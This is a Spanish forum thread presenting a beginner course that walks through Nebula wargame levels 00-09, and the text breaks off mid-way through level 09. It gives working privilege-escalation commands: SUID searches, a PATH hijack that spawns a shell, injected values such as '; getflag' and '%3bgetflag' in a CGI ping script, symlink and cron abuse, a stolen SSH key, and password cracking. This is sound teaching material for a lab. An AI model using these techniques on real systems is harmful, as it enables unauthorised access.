• Curso de explotación en entornos Unix-Like (Nivel Básico)

  • Explotación de Vulnerabilidades y análisis "in the wild".
Explotación de Vulnerabilidades y análisis "in the wild".
 #408980  por KHC
 27 Mar 2013, 06:07
Prerrequisitos:
  • Maquina Virtual
  • ISO Nebula de Exploit Exercises
  • "Experiencia" con entornos Unix-like
Existen muchos otros en internet pero nos basaremos en este, para este curso de nivel basico, puesto que es bastante
completo, no se estancan en un solo tema o un solo estilo.
Punto que todos los niveles tienen distintas soluciones, solo propongo alguna y la explico; lo mismo considero esto
un "curso" de explotacion y no las soluciones para cada nivel.
No perderemos tiempo explicando algunas cosas que no tienen sentido puesto que son muy basicas, en cambio, solo explicare
las que considere esenciales para cumplir el reto y no trataran tan a fondo como me gustaria, pero creo que lo suficiente.
Si alguien tiene alguna duda o quiere saber mas a fondo acerca de un nivel en especial o algo tratado en el texto, puede
contactarme sin mayor problema.

Los temas que veremos en este nivel basico seran:
  • SUID files
  • Permissions
  • Race conditions
  • Shell meta-variables
  • $PATH weaknesses
  • Scripting language weaknesses
  • Binary compilation failures

El iso de Nebula de Exploit Exercises pueden descargarlo de forma directa desde aqui:

[ Debe registrarse para ver este enlace ]
MD5: e82f807be06100bf3e048f82e899fb1fecc24e3a

Aqui esta la pagina oficial del nivel y podemos obtener informacion sobre cada nivel =D

[ Debe registrarse para ver este enlace ]

PD: Cual quier duda sobre estos, pueden abrir un tema en esta sección para responderla.
 #408984  por KHC
 27 Mar 2013, 06:28
Level00 "SetUID"
-------------------------


[ Debe registrarse para ver este enlace ]

Bueno pues nos logeamos al nivel00:

user: level00
pass: level00

Y en la pagina oficial nos dice de que se trata este nivel.

Bueno, un clásico! Se trata de encontrar un fichero con bit SUID "Set User ID".
Básicamente este bit nos sirve para que el fichero --en este caso ejecutable--, tenga los mismo permisos
del propietario, es decir que si un usuario con mayor nivel de acceso en el sistema lo creo, tendremos
los mismo permisos mientras corra el programa.

También nos dicen en la ayuda que brindan del nivel que, busquemos con atencion en lo mas alto de los directorios
y claro que esto hace alucino a los primeros fichero o directorios que se muestran cuando hacemos un "ls".
O también que consultemos las paginas de man, para averiguar un poco mas sobre el funcionamiento de find.
Bueno pues no daré mas vueltas, no tiene caso.
Vamos a usar find para encontrar el el fichero "backdoor" --suelen ser llamados así puesto que ayuda a ganar
privilegios en el sistema sin levantar mayor sospecha--:
Código: [ Debe registrarse para ver este enlace ]
find / -type f -perm 4000 >>/tmp/1.txt
Bueno pues no voy a explicar todos los parámetros, pueden usar "man find" para aclarar algunas cosas.
Lo que si voy a explicar es lo que yo creo mas esencial y esta vez creo que los permisos son importantes
Les dejo una tablita con la información :)
Código: [ Debe registrarse para ver este enlace ]
Octal #'s               Descripción

0400			Permite al dueño "owner" leer "read"
0200			Permite al dueño "owner" escribir "write"
0100			Permite al dueño "owner" ejecutar "execute" y la busquda en directorio
0040			Permite a los miembros del grupo leer "read"
0020			Permite a los miembros del grupo escribir "write"
0010			Permite a los miembros del grupo ejecutar "execute" y la busqueda en directorio
0004			Permite a cualquiera leer "read"
0002			Permite a cualquiera escribir "write"
0001			Permite a cualquiera ejecutar "execute" y la busqueda en directorio
1000			Setear el "Stick bit"
2000			Setear el "SetGID bit"
4000			setear el "SetUID bit"
Buen pues ya entendieron por que usamos -perm -4000

Sin embargo si cateamos el /tmp/1.txt "cat /tmp/1.txt", no vemos muy claras las cosas, afortunadamente find
nos permite mas argumentos y reducir la búsqueda.
Código: [ Debe registrarse para ver este enlace ]
find / -type f -user flag00 -perm 4000 >> /tmp/1.txt
Cateamos el /tmp/1.txt y vemos que contiene:
Código: [ Debe registrarse para ver este enlace ]
cat /tmp/1.txt

/bin/.../flag00
/rofs/bin/.../flag00
Bueno mucho mejor no? Ahora vamos al directorio para comprobar esto:
Y vemos un directorio bastante sospechoso que es "..." --a esto hacia referencia la ayuda de la pagina oficial
"busca en la parte superior del listado de directorios", bien ahora vemos que tiene:
Código: [ Debe registrarse para ver este enlace ]
ls -al ...
drwxr-xr-x 2 root    root      29 2011-11-20 21:22 .
drwxr-xr-x 3 root    root    2728 2012-08-18 02:50 ..
-rwsr-x--- 1 flag00  level00 7358 2011-11-20 21:22 flag00
Bueno pues hay lo tenemos el famoso "backdoor". Y podemos comprobar los permisos del setuid bit, viendo el tercer
bit de izquierda a derecha que en lugar de salir "x" de execute, nos marca "s".
Ahora entramos al directorio y ejecutamos:
Código: [ Debe registrarse para ver este enlace ]
cd ...	&& ./flag00
Congrats, now run getflag to get your flag!
Perfecto entonces solo tenemos que ejecutar "getflag" y tendremos terminamos el primer nivel.
Código: [ Debe registrarse para ver este enlace ]
getflag
You have successfully executed getflag on a target account
Moraleja: Tener cuidado al usar el SetUID bit!
 #409111  por KHC
 28 Mar 2013, 04:55
Level01 "Variables de Entorno"
------------------------------


[ Debe registrarse para ver este enlace ]

user: level01
pass: level01

Bueno en la información nos dice que hay una vulnerabilidad en el código del programa flag01 que nos permite
ejecutar programas arbitrarios.
El binario esta situado en "/home/flag01" y el código luce de la siguiente forma:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}
Bueno pues no explicare todo el código, solo la parte vulnerable de este.
Esta en System() y su argumento que es una llamada a "/usr/bin/env echo".
Lo que aquí pasa --no voy a explicar como funciona system()--, es que al momento de pasar como argumento,
lo que realmente hace es revisar en nuestras variables de entorno por el binario "echo" y como argumento a "echo",
se le pone el string "and now what?".

Entonces, le indica que busque en nuestras variables de entorno por el binario echo y hay esta la vulnerabilidad,
puesto que si agregamos una variable de entorno justo antes de la que contenga a "echo" --osea "/bin"--, pues
revisara primero en la que agregamos y si encuentra un ejecutable con el mismo nombre podremos hacer que ejecute
cualquier otro binario que queramos.

Vamos a crear un fichero en "/tmp" --nuestra nueva variable de entorno--, con el nombre "echo" y pondremos dentro
"/bin/sh". Posteriormente daremos permisos de ejecución con "chmod +x"
Código: [ Debe registrarse para ver este enlace ]
echo /bin/sh >> /tmp/echo
chmod +x /tmp/echo
Bueno ya tenemos nuestro "echo" falso que tendrá otro comportamiento, distinto del original --regresara una shell sh--.
Ahora lo que hace falta es agregar nuestra variable de entorno para que:
  • Busque primero en nuestra variable de entorno que agregamos
  • Ejecute nuestro binario en lugar del original
  • Redireccionamos el flujo del programa original
Pasamos a agregar nuestras variables de entorno de la siguiente marena:
Y entonces lo que vamos a hacer al ejecutar el programa vulnerable "/home/flag01/flag01" y justo dentro de la funcion
system() seria esto:

Original:
Código: [ Debe registrarse para ver este enlace ]
system("/usr/bin/env echo and now what?");
Modificada:
Código: [ Debe registrarse para ver este enlace ]
system("/usr/bin/env /bin/sh and now what?");
Ya que el contenido del binario echo es /bin/sh y por ende nos regresara un shell sh :)
Fundamentado este argumento podemos hacer:
Y nos regresa una shell sh.
Entonces podemos movernos al directorio que tiene el ejecutable y correrlo, ya que tenemos todo preparado:
Código: [ Debe registrarse para ver este enlace ]
cd /home/flag01
./flag01
sh-4.2$
Y pedimos nuestra flag para comprobar que hemos pasado el nivel.
Código: [ Debe registrarse para ver este enlace ]
getflag
You have successfully executed getflag on a target account
Moraleja: No utilizar de tal forma system() y menos pasara ese tipo de argumentos!
 #409224  por KHC
 29 Mar 2013, 06:06
Level 02 "Variables de Entorno - getenv()"
-------------------------------------------------

[ Debe registrarse para ver este enlace ]

user: level02
pass: level02

En la información de este nivel nos dice que hay una vulnerabilidad para ejecutar programas externos --similar a la anterior--
pero esta vez nos dan un código distinto:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}
A decir verdad, es muy simple y aquí lo que nos interesa son las funciones asprintf(), printf() y sus argumentos.

Lo que pasa en asprintf() es que como primer argumento se le pasa el puntero "buffer", como segundo se le da la
cadena string y como tercer argumento es el valor del format string.
Es decir que con getenv("USER"), obtiene nuestro nombre de usuario para quedar asi:
"/bin/echo level02 is cool" --en nuestro caso-- y asprintf() se encarga de regresar un puntero que es nuestro primer
argumento.

Obviamente esto es memoria dinámica y bueno, printf() se encarga de mostrar "about to call system(\"%s\")\n", buffer);
y nuestro buffer lo que contiene es "/bin/echo level02 is cool".

Sin mas, bastaría con cambiar nuestro USER de nuestras variables de entorno para poder superar el nivel, pero esta vez en
lugar de llamar directamente a "/bin/sh" jugaremos un poco mas y ejecutaremos directamente el getflag:
Código: [ Debe registrarse para ver este enlace ]
export USER='; getflag'
cd /home/flag02
./flag02
about to call system("/bin/echo ; getflag is cool")

You have successfully executed getflag on a target account
Lo que hace ";" es separa un comando de otro y "getflag" pues obtener nuestra bandera directamente puesto que el binario
tiene el SetUID bin activo, en cuestion tendremos permisos del propietario de este binario mientras este en ejecución
y por esa razón podemos obtener directamente el flag o podríamos haber llamado a "/bin/sh".

Moraleja: Tener cuidado con las variables de entorno!
 #409336  por KHC
 30 Mar 2013, 19:04
Level03 "Cronos"
--------------------


[ Debe registrarse para ver este enlace ]

user: level03
pass: level03

Tomando nota del about en la pagina oficial, nos dice que revisemos el directorio home de flag03 y que hay un "crontab" que se
invoca cada "X" minutos.
Pero ¿Que coño es crontab?
A decir verdad "Cron" es un daemon en Unix/GNU que funciona para administrar procesos en segundo plano "background" y este
daemon ejecuta procesos en intervalos de tiempos definidos, ya sea minutos, horas, días, meses...
Y Crontab, es una extensión de "Cron" y nos permite que cada usuario del sistema tenga su propia configuración o
su propio "daemon" y el proposito es para administrar sistemas multiusuarios y automatizar tareas, como actualizaciones, backups, en fin lo que uno configure.
Código: [ Debe registrarse para ver este enlace ]
cd /home/flag03
ls -l
drwxrwxrwx 2 flag03 flag03    3 2012-08-08 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03   98 2011-11-20 21:22 writable.sh
Estos dos nos interesan, uno es el script que ejecuta "Crontab" y el otro un directorio CLARAMENTE asociado a este:
Código: [ Debe registrarse para ver este enlace ]
cat writable.sh
#!/bin/sh
 
for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
Bueno es tan simple como un script que hace un "for" en un directorio "writable.d", lo que esta dentro lo ejecuta y después lo elimina y esto se repite con un tiempo máximo en CPU de 5 segundos.
Bueno pues casi lo mismo que los pasados, vamos a crear un fichero que contenga la acción que queremos realizar --puesto que
este va a ser ejecutado-- y como sera borrado entonces tendremos que guardar el log para su posterior cateo.
Entonces nos queda así:
Código: [ Debe registrarse para ver este enlace ]
cd writable.d/
whereis getflag
getflag: /bin/getflag
echo "/bin/getflag >> /tmp/getflaglog" >> script

Bueno entramos en "writable.d", usamos whereis para localizar la ruta del binario getflag y después simplemente metemos el
contenido "/bin/getflag >> /tmp/getflaglog" a el fichero script, este sera ejecutado por crontab y tendremos nuestro
nivel terminado, solo hay que esperar unos minutos a que corra crontab y cateamos el log:
Código: [ Debe registrarse para ver este enlace ]
cat /tmp/getflaglog
You have successfully executed getflag on a target account
Moraleja: Tener siempre controlado el daemon Cron y jamas combinar con directorios en 777
 #409457  por KHC
 31 Mar 2013, 23:12
Level 04 "Symbolic Link"
----------------------------------

[ Debe registrarse para ver este enlace ]

user: level04
pass: level04

La información nos dice que tenemos lo que tenemos que hacer es leer un fichero con un token y que el código no lo permite y
encontremos la forma de brincar esta "protección" y nos dan el siguiente código:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
    printf("%s [file to read]\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
    printf("You may not access '%s'\n", argv[1]);
    exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
    err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
    err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}
Entonces, vamos a "/home/flag04" y listamos el directorio para ver que tenemos:
Código: [ Debe registrarse para ver este enlace ]
ls -al
drwxr-x---  2 flag04 level04   93 2011-11-20 21:52 .
drwxr-xr-x  1 root   root     120 2011-11-20 20:21 ..
-rw-r--r--  1 flag04 flag04   220 2011-05-18 02:54 .bash_logout
-rw-r--r--  1 flag04 flag04  3353 2011-05-18 02:54 .bashrc
-rwsr-x---  1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw-r--r--  1 flag04 flag04   675 2011-05-18 02:54 .profile
-rw-------  1 flag04 flag04    37 2011-11-20 21:52 token
POR FAVOR, NO lo intenten es una trampa! :P
Vamos a hacer de forma correcta las cosas tenemos el source y podemos saber como se comporta el binario.
Bla bla bla y llegamos a las condiciones y la que nos importa es la siguiente:
if(strstr(argv[1], "token") != NULL);
La función strstr() toma dos argumentos y busca dentro del primer argumento el segundo, en otras palabras si argv[1]
tiene la palabra token en alguna parte del string nos regresa un puntero al principio de esta coincidencia, de no
encontrar la string "token" dentro de el primer argumento regresara un puntero NULL.
El if indica que si el resultado de strstr() es DISTINTO de NULL muestre "You may not access argv[1]".

Claro que esta condición quiere decir que, si strstr() regresa un puntero NULL --que no encuentra el string 'token' dentro
de argv[1]" continuara el flujo y mostrar el contenido del fichero.

Después de este pequeño análisis del binario ya sabemos que no podremos pasar directamente esto:
Código: [ Debe registrarse para ver este enlace ]
./flag04 token
You may not access 'token'
Entonces tendremos que hacer algo para leer el mismo archivo sin que tenga el string 'token', y aquí entra ln.

No pretendo extenderme tanto como para medio explicar como funcionan los Symbolic Links, pero en dado caso:
Ahora lo que tendremos que hacer es crear un link simbólico a nuestro fichero que contiene el 'token' que deseamos obtener.
Y tan simple como esto --recordar que no debe contener el string 'token'--:

ln -s /home/flag04/token /tmp/simbolico
./flag04 /tmp/simbolico
06508b5e-8909-4f38-b630-fdb148a848a2

Y listo bypasseamos la "protección" que teníamos en el binario, ahora solo falta "getflag", pero por obvias razones creo que
el hash sirve para algo así que:

su flag04
Password: 06508b5e-8909-4f38-b630-fdb148a848a2
sh-4.2$ getflag
You have successfully executed getflag on a target account

Moraleja: Conocer bien un sistema operativo, siempre da ventajas!
 #409561  por KHC
 02 Abr 2013, 05:04
Level 05 "RSA Stolen Key"
----------------------------------

[ Debe registrarse para ver este enlace ]

user: level05
pass: level05

La info indica que estamos buscando un directorio con bajo control de permisos en el y no hay mas detalles.
So vamos a "/home/flag05"
Código: [ Debe registrarse para ver este enlace ]
cd /home/flag05
ls -al
total 9
drwxr-x---  1 flag05 level05 4096 2012-08-23 10:23 .
drwxr-xr-x  1 root   root    4096 2011-11-20 20:21 ..
drwxr-xr-x  2 flag05 flag05  4096 2011-11-20 20:13 .backup
-rw-------  1 flag05 flag05    11 2012-08-23 10:23 .bash_history
-rw-r--r--  1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r--  1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
drwx------  2 flag05 flag05  4096 2012-08-23 10:04 .cache
-rw-r--r--  1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------  2 flag05 flag05  4096 2011-11-20 20:13 .ssh
Intuitivamente un ls a .backup
Código: [ Debe registrarse para ver este enlace ]
ls -al .backup/

total 2
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
drwxr-x--- 1 flag05 level05   80 2013-03-14 18:38 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
Algo lógico y vamos a tener que descomprimir el .tgz en /tmp/lvl5
Código: [ Debe registrarse para ver este enlace ]
mkdir /tmp/lvl5
tar -zxvf backup-19072011.tgz -C /tmp/lvl5/
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
Pues al parecer tenemos un backup completo del directorio .ssh y si pensamos de forma correcta tenemos acceso entonces.
Asumiendo que es un backup local y que tenemos las llaves podemos logearnos como flag05 --no veo otra, puesto que estamos
como level05--:
Código: [ Debe registrarse para ver este enlace ]
ssh [email protected] -i /tmp/lvl5/.ssh/id_rsa
The authenticity of host 'localhost (127.0.0.1)' can't be established.
 
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
 
      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/
 
    exploit-exercises.com/nebula
 
 
For level descriptions, please see the above URL.
 
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
 
Currently there are 20 levels (00 - 19).
 
 
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
 
* Documentation:  https://help.ubuntu.com/
Last login: Thu March 23 08:13:37 2013 from localhost
lag05)
Lo único es que tenemos que indicar el fichero para podernos conectar, una vez echo esto solo damos getflag y listo.
Código: [ Debe registrarse para ver este enlace ]
[email protected]:~$ getflag
You have successfully executed getflag on a target account.

Moraleja: Los backups se guardan fuera!
 #409677  por KHC
 04 Abr 2013, 04:51
Level06 "John the ripper"
-------------------------------

[ Debe registrarse para ver este enlace ]

user: level06
pass: level06

Solo nos idica en el about del nivel, que las credenciales para flag06 vienen de un legado del sistema unix.

A decir verdad no da mucha ayuda esto, pero ya se habian tardado en poner este tipo de ataque.
Y como dicen, piensa mal y acertaras!

Vamos a catear "/etc/passwd"
Código: [ Debe registrarse para ver este enlace ]
cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Bueno con grep flag06, reducimos la consulta y obtenemos solo sobre flag06.
Como era de esperar recibimos un hash y ahora solo hace falta invocar a nuestro amigo john.

Para esto necesitamos instalarlo y nos logeamos como root de la siguiente forma:
Código: [ Debe registrarse para ver este enlace ]
su nebula
Password: nebula
sudo apt-get install john
exit
Y bueno ahora si repetimos y guardamos el output en un fichero para después pasarle a john:
Código: [ Debe registrarse para ver este enlace ]
cat /etc/passwd | grep flag06 > pass
Ahora solo invocamos a john:
Código: [ Debe registrarse para ver este enlace ]
john pass --show
eated directory: /home/level06/.john
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 9412  trying: 12345 - biteme
Use the "--show" option to display all of the cracked passwords reliably
Ahora solo usamos su para entrar con flag06 y obtener nuestra bandera:
Código: [ Debe registrarse para ver este enlace ]
su flag06
Password: hello
getflag 
You have successfully executed getflag on a target account
Moraleja: Los clásicos nunca pasan de moda.
 #409917  por KHC
 06 Abr 2013, 04:43
Level07 "Command Injection"
---------------------------------

[ Debe registrarse para ver este enlace ]

user: level07
pass: level07

Nos dice que el usuario flag07 a escrito su primer programa en perl, el cual permite hacer ping a un host y nos dan esto:
#!/usr/bin/perl
 
 use CGI qw{param};
 
 print "Content-type: text/html\n\n";
 
 sub ping {
   $host = $_[0];
 
  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; } 

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));
Código: [ Debe registrarse para ver este enlace ]
ls /home/flag07
index.cgi  thttpd.conf
el index.cgi contiene lo mismo que el source que nos dieron.
El thttpd.conf, nos indica claramente que esta el daemond de light http corriendo y este mismo indica en que puerto esta corriendo.

Entonces lo que tenemos que hacer es lograr ejecutar un comando "getflag" --o cualquier otro que deseamos-- dentro de este
script en perl que nos dieron y lo vamos a poder lograr gracias a esto "$host = $_[0];"

Entonces, se instalan curl o lynx --en el pasado dije como-- y vamos a conectar directamente a localhost por el puerto 7007
--esta en la configuracion del lhttp.conf--
Código: [ Debe registrarse para ver este enlace ]
curl localhost:7007/index.cgi

Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination

y nos regresa un banner de la forma de uso del script que creo el usuario flag07

Ahora si asignamos un valor a la variable Host el script que creo el usuario flag07 se ejecutara de forma correcta:
Código: [ Debe registrarse para ver este enlace ]
curl localhost:7007/index.cgi?Host=localhost
Y nos regresa los resultados del ping:

Bueno pues, vamos a probar si nos permite hacer command injection y en lugar de "localhost" le vamos a decir ";id":
Código: [ Debe registrarse para ver este enlace ]
curl localhost:7007/index.cgi?Host=;id
Y recibimos el banner de uso y abajo nos muestra uid, gid y groups! Esto quiere decir que podremos hacer command injection
Ahora, lo que necesitamos es ejecutar getflag entonces pondremos ";getflag", el ";" sirve para separar sentencias:
Código: [ Debe registrarse para ver este enlace ]
curl localhost:7007/index.cgi?Host=;getflag
Y nos regrese el mensaje "getflag is executing on a non-flag account bla bla bla", es decir que no estamos ejecutando como
debemos para obtener la bandera y a mi me huele a que es por el encoding del ";" entonces si usamos urlcoding ";" = "%3b"
Código: [ Debe registrarse para ver este enlace ]
curl localhost:7007/index.cgi?Host=%3bgetflag
Y listo capturamos la bandera de este nivel.


Moraleja: Filtrar parámetros nunca esta demás!
 #410102  por KHC
 08 Abr 2013, 01:19
Level 08 "Raw Connection"
---------------------------------

[ Debe registrarse para ver este enlace ]

user: level08
pass: level08

Ahora, solo nos dice que archivos leídos por el mundo golpea de nuevo, revisarlo y úsalo para logearte como flag08.
Entonces hacemos un "ls -al" y no muestra nada fuera de lo normal; nos vamos a "/home/flag08":
Código: [ Debe registrarse para ver este enlace ]
cd /home/flag08
ls -la

total 14
drwxr-x---  3 flag08 level08 4096 2011-11-20 20:52 .
drwxr-xr-x 43 root   root    4096 2011-11-20 20:21 ..
-rw-r--r--  1 flag08 flag08   220 2011-05-18 02:54 .bash_logout
-rw-r--r--  1 flag08 flag08  3353 2011-05-18 02:54 .bashrc
-rw-r--r--  1 root   root    8302 2011-11-20 21:22 capture.pcap
-rw-r--r--  1 flag08 flag08   675 2011-05-18 02:54 .profile
Y tenemos un fichero llamado "capture.pcap" y sobra decir que es un fichero de captura de alguna conexión.
Entonces, la ayuda obviamente hacia alucino a conexiones, puesto que son visibles por TODOS,
a si analizamos el fichero con cualquier herramienta como whireshark/tcpdump, buscar y llega a la parte que nos interesa:
Código: [ Debe registrarse para ver este enlace ]
 0000007E  0d 0a 4c 69 6e 75 78 20  32 2e 36 2e 33 38 2d 38 ..Linux  2.6.38-8
 0000008E  2d 67 65 6e 65 72 69 63  2d 70 61 65 20 28 3a 3a -generic -pae (::
 0000009E  66 66 66 66 3a 31 30 2e  31 2e 31 2e 32 29 20 28 ffff:10. 1.1.2) (
 000000AE  70 74 73 2f 31 30 29 0d  0a 0a 01 00 77 77 77 62 pts/10). ....wwwb
 000000BE  75 67 73 20 6c 6f 67 69  6e 3a 20                ugs logi n:
 000000B2  6c                                               l
 000000C9  00 6c                                            .l
 000000B3  65                                               e
 000000CB  00 65                                            .e
 000000B4  76                                               v
 000000CD  00 76                                            .v
 000000B5  65                                               e
 000000CF  00 65                                            .e
 000000B6  6c                                               l
 000000D1  00 6c                                            .l
 000000B7  38                                               8
 000000D3  00 38                                            .8
 000000B8  0d                                               .
 000000D5  01                                               .
 000000D6  00 0d 0a 50 61 73 73 77  6f 72 64 3a 20          ...Passw ord:
 000000B9  62                                               b
 000000BA  61                                               a
 000000BB  63                                               c
 000000BC  6b                                               k
 000000BD  64                                               d
 000000BE  6f                                               o
 000000BF  6f                                               o
 000000C0  72                                               r
 000000C1  7f                                               .
 000000C2  7f                                               .
 000000C3  7f                                               .
 000000C4  30                                               0
 000000C5  30                                               0
 000000C6  52                                               R
 000000C7  6d                                               m
 000000C8  38                                               8
 000000C9  7f                                               .
 000000CA  61                                               a
 000000CB  74                                               t
 000000CC  65                                               e
 000000CD  0d                                               .
 000000E3  00 0d 0a                                         ...
 000000E6  01                                               .
 000000E7  00 0d 0a 4c 6f 67 69 6e  20 69 6e 63 6f 72 72 65 ...Login  incorre
 000000F7  63 74 0d 0a 77 77 77 62  75 67 73 20 6c 6f 67 69 ct..wwwb ugs logi
 00000107  6e 3a 20                                         n:
Ya en este punto es bastante obvio lo que pasa y no es mas que una conexión donde el usuario introdujo un password:
Código: [ Debe registrarse para ver este enlace ]
 000000D6  00 0d 0a 50 61 73 73 77  6f 72 64 3a 20          ...Passw ord:
 000000B9  62                                               b
 000000BA  61                                               a
 000000BB  63                                               c
 000000BC  6b                                               k
 000000BD  64                                               d
 000000BE  6f                                               o
 000000BF  6f                                               o
 000000C0  72                                               r
 000000C1  7f                                               .
 000000C2  7f                                               .
 000000C3  7f                                               .
 000000C4  30                                               0
 000000C5  30                                               0
 000000C6  52                                               R
 000000C7  6d                                               m
 000000C8  38                                               8
 000000C9  7f                                               .
 000000CA  61                                               a
 000000CB  74                                               t
 000000CC  65                                               e
Si miramos en el hex dump nos muestra un '7f' que parece ser un punto, realmente un el signo de representación de '\b' en Dec.
Y no hace falta convertir todos los valores desde 000000B9 - 000000CC, puesto que nos muestra el input directo. bacdoor...00Rm8.ate
Teniendo cuidado con lo del carácter '7f' tendríamos entonces -- backd00Rmate --.
Entonces basta con que vayamos a obtener nuestro acceso y pidamos nuestra bandera:

Código: [ Debe registrarse para ver este enlace ]
su flag08
Password: backd00Rmate
sh-4.2$ getflag
You have successfully executed getflag on a target account
Moraleja: Las comunicaciones suelen ser peligrosas ;)
 #410108  por KHC
 08 Abr 2013, 03:29
Level 09 "preg_replace() Code Execution"
---------------------------------------

[ Debe registrarse para ver este enlace ]

user: level09
pass: level09

En la descripción del nivel, no dice que hay un C setuid wrapper para un código PHP vulnerable y nos dan este source code:
<?php
 
function spam($email)
{
	$email = preg_replace("/\./", " dot ", $email);
	$email = preg_replace("/@/", " AT ", $email);
	
	return $email;
}
 
function markup($filename, $use_me)
{
	$contents = file_get_contents($filename);
 
	$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
	$contents = preg_replace("/\[/", "<", $contents);
	$contents = preg_replace("/\]/", ">", $contents);
 
	return $contents;
}
 
$output = markup($argv[1], $argv[2]);
 
print $output;
 
?>
De entra nos vamos directamente a '/home/flag09' y hacemos list directory:
Código: [ Debe registrarse para ver este enlace ]
ls -l

total 12
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root     491 2011-11-20 21:22 flag09.php
Podemos observar que primero, el fichero 'flag09', es el que nos permitirá obtener la bandera, puesto que tiene nuestro SetUID Bit.
Ahora procedamos a analizar un poco el código en si.

function spam($email)
{
	$email = preg_replace("/\./", " dot ", $email);
	$email = preg_replace("/@/", " AT ", $email);
	
	return $email;
}

Tenemos un función llamada 'spam' que como argumento tiene '$email', dentro de la función
se utiliza 'preg_replace', para realizar una búsqueda con expresiones regulares y generar reemplazos.

Es decir, en la primera linea 'preg_replace("/\./", " dot ", $email);' buscara puntos '.' y los remplazar por 'dot'.
En la segunda linea '$email = preg_replace("/@/", " AT ", $email);' buscara '@' y los remplazara por 'AT'.
Podemos notar el uso de preg_replace, ya que como primer argumento se le pasa la expresión regular a buscar; el segundo
argumento que toma es con que va a remplazar la expresión regular que encontró y el tercer argumento es la cadena o matriz
de cadenas a buscar y sustituir. << [ Debe registrarse para ver este enlace ] >>
Y nos regresa con return nuestra nueva cadena de caracteres una vez invocado 'preg_replace()'.

Después tenemos algo como esto:
function markup($filename, $use_me)
{
	$contents = file_get_contents($filename);
 
	$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
	$contents = preg_replace("/\[/", "<", $contents);
	$contents = preg_replace("/\]/", ">", $contents);
 
	return $contents;
}
Una función llamada 'markup', que toma dos argumentos '$filename' y '$use_me'.
Dentro de la función tenemos propiamente que la primera linea, 'file_get_contents($filename);', obtiene el contenido de un fichero.
La segunda 'preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);' ya vimos su funcionamiento mas arriba y el resto de igual forma,
solo termina con un return y nos regresa de nuevo $contents.

QUE ESTRICTAMENTE PROHIBIDO 'EXPLOTAR O ABUSAR' DE ALGO SIN SABER SU FUNCIONAMIENTO.

Me tome la libertad de explicar un poco mas de lo que quería el código, puesto que me parece interesante este nivel en particular.
Y como dije, si entendemos lo que estamos haciendo podremos obtener mayor ventaja al momento de explotar o hacer lo que sea.

Entonces, tenemos un bonito remote code execution aquí.
Y muchos no habrán visto pero la en:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
Hay un pequeño /e dentro del primer argumento pero FUERA de la expresion regular y este es el eval_modifier de preg_replace
[ Debe registrarse para ver este enlace ]
No so un experto en PHP, a decir verdad me molesta este lengauje, pero es interesante ya que en la documentación oficial
[ Debe registrarse para ver este enlace ] citan:

Esta función ha sido declarada OBSOLETA desde PHP 5.5.0. Basándose en esta característica es sumamente desalentador.
Correcto, aquí es donde vamos a poder realizar nuestro code execution :) --por eso es muy importante saber que vamos a explotar y mientras mejor
sepamos que es lo que hace, mas oportunidades tendremos para realizar la tarea--
